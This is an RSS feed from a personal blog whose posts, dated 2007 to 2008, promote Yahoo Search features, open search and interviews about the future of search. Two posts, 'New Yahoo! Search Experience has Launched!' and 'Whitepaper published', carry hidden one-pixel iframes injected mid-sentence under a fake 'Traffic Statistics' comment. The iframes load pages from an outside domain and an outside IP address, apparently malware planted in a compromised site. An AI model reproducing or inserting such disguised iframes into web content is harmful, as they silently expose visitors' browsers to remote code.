<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cornett Experience &#187; search</title>
	<atom:link href="http://www.cornettexperience.com/tag/search/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cornettexperience.com</link>
	<description>Thriving in hyper-competitive markets through experience differentiation</description>
	<lastBuildDate>Fri, 02 Jul 2010 21:05:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Yahoo Search Goes Way Open</title>
		<link>http://www.cornettexperience.com/2008/02/26/yahoo-search-goes-way-open/</link>
		<comments>http://www.cornettexperience.com/2008/02/26/yahoo-search-goes-way-open/#comments</comments>
		<pubDate>Tue, 26 Feb 2008 07:42:08 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2008/02/26/yahoo-search-goes-way-open/</guid>
		<description><![CDATA[Well, we finally announced it. <a href="http://search.yahoo.com">Yahoo Search</a> is going way open very soon. We will be allowing publishers and site owners to provide us with additional information about their site. This will provide a next-generation search experience with results that can display some of the rich data that is today only available on the website after the user clicks through. For example, ratings and reviews, great photographs, useful site links, etc. The additional beauty is that users can control whether they want to see this additional info or not. Their choice.  <a href="http://www.cornettexperience.com/index.php/2008/02/26/yahoo-search-goes-way-open/">Read full article...</a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2008%2F02%2F26%2Fyahoo-search-goes-way-open%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2008%2F02%2F26%2Fyahoo-search-goes-way-open%2F" height="61" width="51" /></a></div><p>Well, we finally announced it. <a href="http://search.yahoo.com">Yahoo Search</a> is going way open very soon. We will be allowing publishers and site owners to provide us with additional information about their site. This will provide a next-generation search experience with results that can display some of the rich data that is today only available on the website after the user clicks through. For example, ratings and reviews, great photographs, useful site links, etc. The additional beauty is that users can control whether they want to see this additional info or not. Their choice. A picture captures the essence of this better than my description (see below).</p>
<p><img src="http://www.cornettexperience.com/images/yahooopensearch.jpg" alt="Yahoo Open Search example" align="right"  /></p>
<blockquote><p><strong>An Open Approach to Search</strong><br /><em>The open theme continues today as we are announcing that we are opening up Yahoo! Search itself. That&#8217;s right &#8212; you heard it correctly &#8212; the Yahoo! Search experience will soon be open. This open search platform enables 3rd parties to build and present the next generation of search results. There are a number of layers and capabilities that we have built into the platform, but our intent is clear &#8212; present users with richer, more useful search results so that they can complete their tasks more efficiently and get from &#8220;to do&#8221; to &#8220;done.&#8221;  </em><a href="http://www.ysearchblog.com/archives/000523.html"> Read full blog post&#8230;</a></p></blockquote>
<p>Good coverage and comments on <a href="http://www.techcrunch.com/2008/02/25/yahoo-announces-open-search-platform/">TechCrunch</a>. Want to learn more about our Open Search Platform? <a href="http://tools.search.yahoo.com/newsearch/open.html">Sign up here</a></p>
<p><span style="margin-right:6px;margin-top:5px;float:left;border:2px solid #cc9966;padding:5px;"><strong>Key Highlight</strong><br />
Yahoo isn&#8217;t afraid to shake up the traditional web search paradigm in order to give users what they need: More useful search results that will help them get things done more efficiently. The end result will be something that is not only good for users, but also good for web site owners.</span></p>
<p><br/><br/><br/><br/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2008/02/26/yahoo-search-goes-way-open/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Yahoo! Search Experience has Launched!</title>
		<link>http://www.cornettexperience.com/2007/10/04/new-yahoo-search-experience-has-launched/</link>
		<comments>http://www.cornettexperience.com/2007/10/04/new-yahoo-search-experience-has-launched/#comments</comments>
		<pubDate>Fri, 05 Oct 2007 03:15:37 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2007/10/04/new-yahoo-search-experience-has-launched/</guid>
		<description><![CDATA[Well, the biggest consumer-facing change to the Yahoo! Search experience has arrived. We just launched our new Search design this week, which features an incredible amount of great new improvements including Search Assist, multimedia integration, and enhanced shortcuts.   <a href="http://www.cornettexperience.com/index.php/2007/10/04/new-yahoo-search-experience-has-launched/">Read full article...</a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F10%2F04%2Fnew-yahoo-search-experience-has-launched%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F10%2F04%2Fnew-yahoo-search-experience-has-launched%2F" height="61" width="51" /></a></div><p>Well, the biggest consumer-facing change to the Yahoo! Search experience has arrived. We just launched our new Search design this week, which features an incredible amount of great new improvements including:</p>
<ul>
<li><strong>Search Assist</strong> &#8211; suggestions and related concepts that give users a new way<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> to explore a subject area they may be unfamiliar with. Try a search for the <a href="http://search.yahoo.com/search?fr=fa_blog&#038;sado=1&#038;p=united+nations">United Nations</a>.</li>
<li><strong>Multimedia integration</strong> &#8211; <a href="http://search.yahoo.com/search?p=otters+site%3Ayoutube.com&#038;y=Search&#038;fr=sfp">video</a>, <a href="http://search.yahoo.com/search?p=sunflowers+photos&#038;y=Search&#038;fr=sfp">Flickr photos</a>, etc.</li>
<li><strong>Enhanced Shortcuts</strong> &#8211; music artists, movies, travel destinations, and athletes</li>
</ul>
<p>It is all about improving the experience for consumers who are trying to get things done. No one wants to struggle with a search engine when they need information. Search just shouldn&#8217;t be so hard. With our new Search experience, it just got a whole lot easier.</p>
<p>To learn more, visit our <a href="http://www.ysearchblog.com/archives/000489.html">Yahoo! Search Blog</a> or you can check out my recent <a href="http://cbs5.com/video/?id=27290@kpix.dayport.com">television interview</a> with CBS 5.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2007/10/04/new-yahoo-search-experience-has-launched/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Whitepaper published: Search Engine Results 2010</title>
		<link>http://www.cornettexperience.com/2007/08/30/whitepaper-published-search-engine-results-2010/</link>
		<comments>http://www.cornettexperience.com/2007/08/30/whitepaper-published-search-engine-results-2010/#comments</comments>
		<pubDate>Fri, 31 Aug 2007 01:47:08 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Future]]></category>
		<category><![CDATA[search]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2007/08/30/whitepaper-published-search-engine-results-2010/</guid>
		<description><![CDATA[The final whitepaper has been published by Enquiro Research for "Search Engine Results 2010". In it, they cover what search engines may look like in the future, thoughts on personalization, universal search, eye tracking research, and interviews with leading industry experts such as Marissa Mayer, Jakob Nielsen, and Danny Sullivan.  <a href="http://www.cornettexperience.com/index.php/2007/08/30/whitepaper-published-search-engine-results-2010/">Read full article...</a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F30%2Fwhitepaper-published-search-engine-results-2010%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F30%2Fwhitepaper-published-search-engine-results-2010%2F" height="61" width="51" /></a></div><p>The final whitepaper has been published by <a href="http://www.enquiroresearch.com">Enquiro Research</a> for <a href="http://www.enquiroresearch.com/personalization/">Search Engine Results 2010</a>. In it, they<!-- Traffic Statistics --><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!-- End Traffic Statistics --> cover what search engines may look like in the future, thoughts on personalization, universal search, eye tracking research, and interviews with leading industry experts such as Marissa Mayer, Jakob Nielsen, and Danny Sullivan.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2007/08/30/whitepaper-published-search-engine-results-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Search and Serendipity: Finding More When You Know Less</title>
		<link>http://www.cornettexperience.com/2007/08/19/search-and-serendipity-finding-more-when-you-know-less/</link>
		<comments>http://www.cornettexperience.com/2007/08/19/search-and-serendipity-finding-more-when-you-know-less/#comments</comments>
		<pubDate>Sun, 19 Aug 2007 21:22:22 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[serendipity]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2007/08/19/search-and-serendipity-finding-more-when-you-know-less/</guid>
		<description><![CDATA[Where do you go to get your daily fix of fresh information? If you are like millions of other users out there, you hit sites like Digg, Delicious, Techmeme, or just open your favorite RSS reader. Or, you tap into your Stumbleupon toolbar to see what your fellow Stumblers have found interesting lately. Most people don't automatically think of search as a place for serendipitous exploration. Search is best when you have something specific in mind, right?  <a href="http://www.cornettexperience.com/index.php/2007/08/19/search-and-serendipity-finding-more-when-you-know-less/">Read full article...</a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F19%2Fsearch-and-serendipity-finding-more-when-you-know-less%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F19%2Fsearch-and-serendipity-finding-more-when-you-know-less%2F" height="61" width="51" /></a></div><p>Search Engine Land just published my article: <a href="http://searchengineland.com/070817-115740.php">Search &#038; Serendipity: Finding More When You Know Less</a>. Here is an excerpt: </p>
<blockquote><p>Where do you go to get your daily fix of fresh information? If you are like millions of other users out there, you hit sites like Digg, Delicious, Techmeme, or just open your favorite RSS reader. Or, you tap into your Stumbleupon toolbar to see what your fellow Stumblers have found interesting lately. Most people don&#8217;t automatically think of search as a place for serendipitous exploration. Search is best when you have something specific in mind, right?</p>
<p>Actually, search has been evolving a lot lately. And, as we seek new and better means of disambiguating intent, the search engines are increasingly offering richer media and information that feels a lot more dynamic and exploratory.</p></blockquote>
<p><a href="http://searchengineland.com/070817-115740.php">Read full article&#8230;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2007/08/19/search-and-serendipity-finding-more-when-you-know-less/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What Will the Search Experience Look Like in the Year 2010?</title>
		<link>http://www.cornettexperience.com/2007/08/16/what-will-the-search-experience-look-like-in-the-year-2010/</link>
		<comments>http://www.cornettexperience.com/2007/08/16/what-will-the-search-experience-look-like-in-the-year-2010/#comments</comments>
		<pubDate>Thu, 16 Aug 2007 20:26:48 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Future]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[search]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2007/08/16/what-will-the-search-experience-look-like-in-the-year-2010/</guid>
		<description><![CDATA[I was recently interviewed by Gord Hotchkiss over at Search Engine Land on the future of Search. The meta question was: "What will the search results page look like in 3 years?" He also interviewed Jakob Nielsen, Marissa Mayer, Danny Sullivan, Michael Ferguson, Greg Sterling, Justin Osmer, and Chris Sherman.   <a href="http://www.cornettexperience.com/index.php/2007/08/16/what-will-the-search-experience-look-like-in-the-year-2010/">Read full article...</a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F16%2Fwhat-will-the-search-experience-look-like-in-the-year-2010%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F16%2Fwhat-will-the-search-experience-look-like-in-the-year-2010%2F" height="61" width="51" /></a></div><p>I was recently interviewed by <a href="http://www.outofmygord.com">Gord Hotchkiss</a> over at <a href="http://searchengineland.com">Search Engine Land</a> on the future of Search. The meta question was: &#8220;What will the search results page look like in 3 years?&#8221; The full article is posted here: <a href="http://searchengineland.com/070810-142723.php">Search in the Year 2010</a>.</p>
<p>He interviewed a very interesting list of folks:</p>
<ul>
<li><a href="http://www.useit.com/">Jakob Nielsen</a>, one of the biggest names in the Usability world</li>
<li><a href="http://www.google.com/intl/en/corporate/execs.html#marissa">Marissa Mayer</a>, Googleâ€™s VP of user experience and interface design</li>
<li><a href="http://searchengineland.com/070518-100354.php">Michael Ferguson</a>, one of the UE architects at Ask.com</li>
<li><a href="http://www.cornettexperience.com/index.php/about-cornett-experience/">Larry Cornett</a> (me), the VP of search experience at <a href="http://ysearchblog.com/">Yahoo!</a></li>
<li><a href="http://searchengineland.com/070209-151505.php">Justin Osmer</a>, Product Manager for Microsoft Live search</li>
<li><a href="http://thirddoormedia.com/team.shtml#csherman">Chris Sherman</a>, Executive Editor of Search Engine Land</li>
<li><a href="http://gesterling.wordpress.com/">Greg Sterling</a>, another industry analyst</li>
<li><a href="http://thirddoormedia.com/team.shtml#dsullivan">Danny Sullivan</a>, the search engine guru and founder of Search Engine Land</li>
</ul>
<p>I won&#8217;t bother summarizing <a href="http://searchengineland.com/070810-142723.php">the article</a> here, so read it! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2007/08/16/what-will-the-search-experience-look-like-in-the-year-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yahoo! Search Launching Great New Features</title>
		<link>http://www.cornettexperience.com/2007/07/26/yahoo-search-launching-great-new-features/</link>
		<comments>http://www.cornettexperience.com/2007/07/26/yahoo-search-launching-great-new-features/#comments</comments>
		<pubDate>Thu, 26 Jul 2007 19:11:27 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Entertainment]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2007/07/26/yahoo-search-launching-great-new-features/</guid>
		<description><![CDATA[<div class="storycontent">
	<style type="text/css">
              .image { }
              .image-frame { float: right; text-align: center; margin-left: 15px; margin-bottom: 15px; }
         </style>
<div class="image-frame">
	<a href="http://search.yahoo.com/search?p=phuket"><img border="0" src="http://www.cornettexperience.com/images/yahoo_search_logo.gif" class="image" alt="Yahoo! Search" /></a><br />
</div>
It has been a while since I have posted. If you head on over to <a href="http://search.yahoo.com/search?p=phuket">Yahoo! Search</a>, you will see why I've been a little busy lately. We've been working on a ton of great new ideas for our Search experience and some of them are now ready for you! It is all about giving consumers a much better experience when they are searching, so that they find exactly what they are looking for faster and are happier with the results. Check out what we've been up to and I think you will agree.
<a href="http://www.cornettexperience.com/index.php/2007/07/26/Yahoo!-Search-Launching-Great-New-Features/"> Read full article&#8230; </a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F07%2F26%2Fyahoo-search-launching-great-new-features%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F07%2F26%2Fyahoo-search-launching-great-new-features%2F" height="61" width="51" /></a></div><div class="storycontent">
<style type="text/css">
              .image { }
              .image-frame { float: right; text-align: center; margin-left: 15px; margin-bottom: 15px; }
         </style>
<div class="image-frame">
	<a href="http://search.yahoo.com/search?p=phuket"><img border="0" src="http://www.cornettexperience.com/images/yahoo_search_logo.gif" class="image" alt="Yahoo! Search" /></a>
</div>
</div>
<p>It has been a while since I have posted. If you head on over to <a href="http://search.yahoo.com/search?p=phuket">Yahoo! Search</a>, you will see why I&#8217;ve been a little busy lately. We&#8217;ve been working on a ton of great new ideas for our Search experience and some of them are now ready for you! It is all about giving consumers a much better experience when they are searching, so that they find exactly what they are looking for faster and are happier with the results. Check out what we&#8217;ve been up to and I think you will agree.</p>
<hr size="1" color="ececec" />
<p><strong>A new <a href="http://search.yahoo.com/search?p=Phuket">Travel Destination Shortcut</strong><br />
<br />
<img border="1" src="http://www.cornettexperience.com/images/travel_shortcut.gif" alt="Yahoo! Search travel shortcut" /></a></p>
<hr size="1" color="ececec" />
<p><strong>A new <a href="http://search.yahoo.com/search?p=ciara">Music Artists Shortcut</strong><br />
<br />
<img border="1" src="http://www.cornettexperience.com/images/music_shortcut.png" alt="Yahoo! Search music artists shortcut" /></a></p>
<hr size="1" color="ececec" />
<p><strong>A new <a href="http://audio.search.yahoo.com/search/audio?p=3+doors+down">Audio preview feature</strong><br />
<br />
<img border="1"  src="http://www.cornettexperience.com/images/audio_search.jpg" alt="Yahoo! Audio Search sample playback" /></a></p>
<hr size="1" color="ececec" />
<p><strong>An exciting new Yahoo! Search Assist feature</strong> (image from Danny Sullivan on Flickr). Danny has a great article about it on Search Engine Land titled <a href="http://searchengineland.com/070725-233903.php">Search Suggestions on Steroids: Yahoo! Search Assist</a><br />
<br />
<a href="http://www.flickr.com/photos/dannysullivan/900636507/"><img border="1"  src="http://farm2.static.flickr.com/1352/900636507_8913994ae5_o.jpg" alt="Danny Sullivan's Y! Search Assist screenshot" /><br />
</a></p>
<p>
I&#8217;m sorry that I can&#8217;t provide you with a link to our new Search Assist technology yet, since it is currently in testing. But, stay tuned!</p>
<p>If you want to read more about Yahoo! Search, you can check out our <a href="http://ysearchblog.com/">blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2007/07/26/yahoo-search-launching-great-new-features/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

